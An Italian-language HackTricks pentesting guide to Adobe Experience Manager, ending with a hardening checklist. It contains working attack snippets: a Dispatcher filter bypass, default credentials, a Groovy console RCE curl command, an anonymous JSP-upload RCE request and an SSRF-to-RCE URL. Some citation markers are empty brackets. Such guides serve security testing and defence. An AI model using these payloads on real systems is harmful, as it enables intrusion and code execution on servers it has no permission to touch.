AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Adobe Experience Manager (AEM, parte di Adobe Experience Cloud) è un CMS aziendale che funziona su Apache Sling/Felix (OSGi) e un Java Content Repository (JCR). Dal punto di vista di un attaccante, le istanze AEM espongono molto spesso endpoint di sviluppo pericolosi, regole del Dispatcher deboli, credenziali predefinite e un lungo elenco di CVE che vengono corretti ogni trimestre.

La checklist qui sotto si concentra sulla superficie di attacco (unauth) raggiungibile esternamente che continua a presentarsi in impegni reali (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Altri indicatori rapidi:

  • /etc.clientlibs/ percorso statico presente (restituisce JS/CSS).
  • /libs/granite/core/content/login.html pagina di accesso con il banner “Adobe Experience Manager”.
  • </script><!--/* CQ */--> commento in fondo all'HTML.

2. Endpoint non autenticati ad alto valore

PercorsoCosa ottieniNote
/.json, /.1.jsonNodi JCR tramite DefaultGetServletSpesso bloccato, ma Dispatcher bypass (vedi sotto) funziona.
/bin/querybuilder.json?path=/API QueryBuilderLeak dell'albero delle pagine, percorsi interni, nomi utente.
/system/console/status-*, /system/console/bundlesConsole OSGi/Felix403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE di caricamento bundle.
/crx/packmgr/index.jspPackage ManagerConsente pacchetti di contenuto autenticati → caricamento di payload JSP.
/etc/groovyconsole/**AEM Groovy ConsoleSe esposto → esecuzione arbitraria di Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonLog di auditDivulgazione di informazioni.
/libs/cq/ui/content/dumplibs.htmlDump ClientLibsVettore XSS.

Trucco di bypass del Dispatcher

La maggior parte dei siti di produzione si trova dietro il Dispatcher (reverse-proxy). Le sue regole di filtro possono essere bypassate aggiungendo un'estensione statica consentita dopo un punto e virgola o una nuova riga codificata:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Una singola richiesta come sopra rivela frequentemente nodi del profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】


3. Configurazioni errate comuni (ancora attive nel 2025)

  1. Servlet POST anonimoPOST /.json con :operation=import consente di piantare nuovi nodi JCR. Bloccare *.json POST nel Dispatcher risolve il problema. 【】
  2. Profili utente leggibili da tutti – ACL predefinito concede jcr:read su /home/users/**/profile/* a tutti.
  3. Credenziali predefiniteadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter abilitato ⇒ XSS riflesso tramite ?debug=layout (CVE-2016-7882, ancora trovato su installazioni legacy 6.4).
  5. Groovy Console esposta – esecuzione di codice remoto inviando uno script Groovy:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Vulnerabilità recenti (cadenza del service pack)

TrimestreCVEAffettiImpatto
Dic 2024CVE-2024-437116.5.21 e precedentiValidazione dell'input non corretta → Esecuzione di codice arbitrario (richiede autenticazione a bassa privilegio). 【】
Dic 2024CVE-2024-43724/266.5.21 e precedentiDOM / XSS memorizzato in Move Page Wizard. 【】
Dic 2023CVE-2023-48452/68≤ 6.5.18XSS basato su DOM tramite URL creato. 【】
Dic 2022CVE-2022-30683≤ 6.5.13Difetto di design crittografico → decrittazione segreta (richiede credenziali a bassa privilegio). 【】

Controlla sempre il bollettino APSB corrispondente al service pack del cliente e richiedi l'ultima 6.5.22 o Cloud Service 2024.11.


5. Frammenti di sfruttamento

5.1 RCE tramite bypass del dispatcher + upload JSP

Se la scrittura anonima è possibile:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Richiedi /content/evil.jsp – il JSP viene eseguito con l'utente del processo AEM.

5.2 SSRF a RCE (storico < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py di aem-hacker automatizza l'intera catena. 【】


6. Strumenti

  • aem-hacker – script di enumerazione tipo coltellino svizzero, supporta bypass del dispatcher, rilevamento SSRF, controlli delle credenziali predefinite e altro.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – richiedi ricorsivamente /_jcr_content.(json|html) per scoprire componenti nascosti.
  • osgi-infect – carica un bundle OSGi malevolo tramite /system/console/bundles se le credenziali sono disponibili.

7. Lista di controllo per il rafforzamento (per le raccomandazioni del tuo rapporto)

  1. Mantieni l'istanza sulla versione cumulativa di servizio più recente (a partire da luglio 2025: 6.5.22).
  2. Rimuovi ruota gli account predefiniti; applica SSO/SAML.
  3. Rendi più rigorosi i filtri del Dispatcher – nega ;, nuove righe codificate e *.json o *.querybuilder.json per utenti anonimi.
  4. Disabilita o proteggi le console (/system/console, /crx/*, /etc/groovyconsole) con liste di autorizzazione IP.
  5. Applica il pacchetto Anonymous Permission Hardening fornito da Adobe.

Riferimenti

  • Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (dic 2024)”.
  • 0ang3el – strumento aem-hacker (GitHub).

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks